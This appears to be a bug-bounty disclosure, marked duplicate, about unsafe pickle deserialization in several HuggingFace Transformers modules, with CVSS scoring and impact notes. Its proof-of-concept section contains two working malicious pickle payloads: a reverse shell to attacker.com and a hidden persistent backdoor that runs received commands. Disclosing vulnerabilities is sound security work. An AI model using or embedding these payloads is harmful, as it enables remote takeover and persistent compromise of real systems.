Critical Remote Code Execution via Insecure Pickle Deserialization in HuggingFace Transformers in huggingface/transformers
Duplicate
Reported on Jan 5th 2026
Description
The HuggingFace Transformers library uses Python's pickle.load() to deserialize untrusted data from model files without proper validation or sandboxing. This allows attackers to execute arbitrary Python code by crafting malicious pickle files that are automatically executed when the model is loaded.
Technical Details
Python's pickle module is inherently unsafe when deserializing untrusted data. The reduce() method in pickled objects can specify arbitrary callables with arbitrary arguments to be executed during deserialization. This is by design in pickle and cannot be safely mitigated while still using pickle.load()
The vulnerability exists in multiple modules:
1- RAG Model Retrieval System (src/transformers/models/rag/retrieval_rag.py)
- Loads passages data from pickle files
- Loads index metadata from pickle files
- Used when loading RAG (Retrieval-Augmented Generation) models
2- MaskFormer Conversion Scripts
src/transformers/models/maskformer/convert_maskformer_resnet_to_pytorch.py
src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py
3- OLMo3 Model Conversion
(src/transformers/models/olmo3/convert_olmo3_weights_to_hf.py)
- Loads model metadata from pickle files
- Used in model format conversion
with open(passages_path, "rb") as passages_file:
passages = pickle.load(passages_file)
Proof of Concept
Payload 1: Simple Reverse Shell
// PoC.js
import pickle
import os
class ReverseShell:
def __reduce__(self):
cmd = (
"python3 -c 'import socket,subprocess,os;"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
"s.connect(("attacker.com",4444));"
"os.dup2(s.fileno(),0);"
"os.dup2(s.fileno(),1);"
"os.dup2(s.fileno(),2);"
"subprocess.call(["/bin/sh","-i"])'"
)
return (os.system, (cmd,))
with open('malicious_passages.pkl', 'wb') as f:
pickle.dump(ReverseShell(), f)
Payload 2: Persistent Backdoor
import pickle
import os
class Backdoor:
def __reduce__(self):
backdoor_code = '''
import socket, subprocess, os
while True:
try:
s = socket.socket()
s.connect(("attacker.com", 4444))
while True:
cmd = s.recv(1024).decode()
if not cmd or cmd.strip() == "exit": break
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
s.send(output)
s.close()
except: pass
'''
cmd = (
f"echo '{backdoor_code}' > /tmp/.system_service.py && "
"python3 /tmp/.system_service.py &"
)
return (os.system, (cmd,))
Impact
1- Complete System Compromise
- Attacker gains full code execution capabilities
- Can run any command with application privileges
- Complete control over the affected system
2- Data Breach
- Access to all data accessible by the application
- Theft of API keys, credentials, and secrets
- Exfiltration of training data and models
- Access to database credentials
3- Supply Chain Attack
- Malicious models can be uploaded to public repositories
- Appears legitimate to unsuspecting users
- Widespread compromise of downstream users
- Difficult to detect until exploitation occurs
4- Lateral Movement
- Use compromised system as pivot point
- Access to internal networks
- Compromise of additional systems
- Persistence mechanisms can be installed
References
- Python setuptools package_index pickle deserialization vulnerability
- Similar RCE vulnerability in reportlab via pickle
Vulnerability Type
CWE-502: Deserialization of Untrusted Data
Severity
Critical (9.8)
Attack vector Network
Attack complexity Low
Privileges required None
User interaction None
Scope Unchanged
Confidentiality High
Integrity High
Availability High
Open in visual CVSS calculator
Registry
Pypi
Affected Version
All versions containing the vulnerable code (4.0.0 - current)
Visibility
Public
Status
Duplicate
Disclosure Bounty
$1500
Fix Bounty
$375
Found by
0x2nac0nda
@abdallaabdalrhman